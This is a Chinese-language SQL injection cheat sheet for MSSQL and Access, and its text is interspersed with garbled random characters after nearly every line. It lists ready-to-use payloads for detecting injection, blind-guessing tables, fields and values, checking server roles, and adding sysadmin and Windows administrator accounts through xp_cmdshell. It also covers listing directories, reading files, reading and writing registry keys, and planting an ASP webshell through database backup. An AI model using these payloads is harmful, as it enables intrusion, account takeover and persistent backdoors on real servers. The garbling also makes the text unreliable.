1.判断是否有注入;and 1=1 ;and 1=2 7HpfHqJ7
2.初步判断是否是mssql ;and user>0 )<kId4E
0M'[|cid|
3.注入参数是字符'and [查询条件] and ''=' VGVZ`|
[CBhipoc
4.搜索时没过滤参数的'and [查询条件] and '%25'=' \GR M,c
a*pwVn
5.判断数据库系统 .!kO2/:6
} +@H&}u
;and (select count(*) from sysobjects)>0 mssql [`_ZlC
e+!+(D
;and (select count(*) from msysobjects)>0 access D?v)Xqw=
lDQ'
Zw)*+> +FV
Z]1=nSv
6.猜数据库 ;and (select Count(*) from [数据库名])>0
!IZbMn6
PMdvBOtS`
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 q]-CTx$
rT2gX^Mj&
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4@qKML
u]B15mT?
9.(1)猜字段的ascii值(access) Tk^J#};N
g"60{
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 |HjoaN )
`ehZ(H}
(2)猜字段的ascii值(mssql) <O5r|
,Tb~+z|-[
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 wX0m8"g@
5&y;r
10.测试权限结构(mssql) QJcaOXyMS
h "7:&=e
`sS\8~A
uG|d7LS,%
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,+u.FQv~
a cSm+t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _?vh#6F
)wmG&"qsP
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Lv`*+;1K
(6aSDx
Sc
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- CDy *8<-&
/D]V3|@E
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 92@/8,[
JYY:~2
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;{n@hM*O
eb])=
;and 1=(select IS_MEMBER('db_owner'));-- .HM1c
6z/ct|n
%{fa
.>6
4k
HFfc
11.添加mssql和系统的帐户 RGeM.
:QndeUw
;exec master.dbo.sp_addlogin username;-- -:hiLZJ7-
;exec master.dbo.sp_password null,username,password;-- <K~> :4c
LDj'L~H
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
wknr^A
ElAho3W
;exec master.dbo.xp_cmdshell 'net user username password I^M%+\
-/#VD&MJO=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- SWAggW)
5/v,|
;exec master.dbo.xp_cmdshell 'net user username password /add';-- d},IQ,Az:Z
lZY0A#
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- AoaRlk-#
E&\dr;{7
>@NH Al
uhyw?#f
12.(1)遍历目录 0!D,74r
L[]*vj
;create table dirs(paths varchar(100), id int) F:PaVr3q
7,i}M
;insert dirs exec master.dbo.xp_dirtree 'c:\' *wgHa6?+7
Q}KNtNCpx
;and (select top 1 paths from dirs)>0 5E~?hWAv
Dq#/Uw#
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) |H:JwxH
.6,+q2tyk,
LQ,RQ~!
dLtSa\2Hn
(2)遍历目录 +E8Itb,
4"OUmh9LHB
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Yy 4EM
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 DCJmk6p%0
]s*Fs]1+H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7eQE[C
j\^0BTZ
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Oz\mIVC#
2Xu?/yd
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &1O!guq%
y$n7'W6
j@kL`Q\&I
h8b*=oq
13.mssql中的存储过程 s6#@S4^=\
zW`Zmt\T2
xp_regenumvalues 注册表根键, 子键 U($sH9,
hK!Z~
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;(a\F
;j#$d@VG"
xp_regread 根键,子键,键值名 FmfPi
.;1
?'xTSAn
;exec xp_regread ,BK6a'1J
;l^4/BR
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 {U$qxC]M
v&6=(k{E@R
xp_regwrite 根键,子键, 值名, 值类型, 值 -mSiZ
_%HpB=
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 81\$X
'~dE0ohWb
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 K3eYeXV
w#?@ulr]d
xp_regdeletevalue 根键,子键,值名 Hpo/CY/
0-)D`s%
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $ae*3L>5M
u9WQ0.
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 nI1DLVt
_3q%
J`6X6YZ
~~U2Sr
14.mssql的backup创建webshell ?e? mg
Hx}K
wS
use model Sm(QgZO[4
Rp~#zt9:
create table cmd(str image); =1dU~B:Lm
OSQt:58K
insert into cmd(str) values (''); 5:jbd:o
P);:t~
backup database model to disk='c:\l.asp'; 5rAI[r
9
];bl;BP
Z[.+Wd\)-9
us&!%`
15.mssql内置函数 _9Pxtf
)P6n,\
;and (select @@version)>0 获得Windows的版本号 NLe+
'xNPy =#
;and user_name()='dbo' 判断当前系统的连接用户是不是sa .s4hFB^n
U] 2fV|Hn
;and (select user_name())>0 爆当前系统的连接用户 Jjb(l W
9aLS%-x!+
;and (select db_name())>0 得到当前连接的数据库 O[p;IG`
Evz;eobW/
JHY0J
&4s
a:C'N4K
16.简洁的webshell >*xa\ve
'qTMY*
use model j1!P:(
b8V]/
create table cmd(str image); :Zy7h7P,lT
]Gw? DD|Gn
insert into cmd(str) values (''); xl%!7?G|$>
&9CKI/K:
backup database model to disk='g:\wwwtest\l.asp';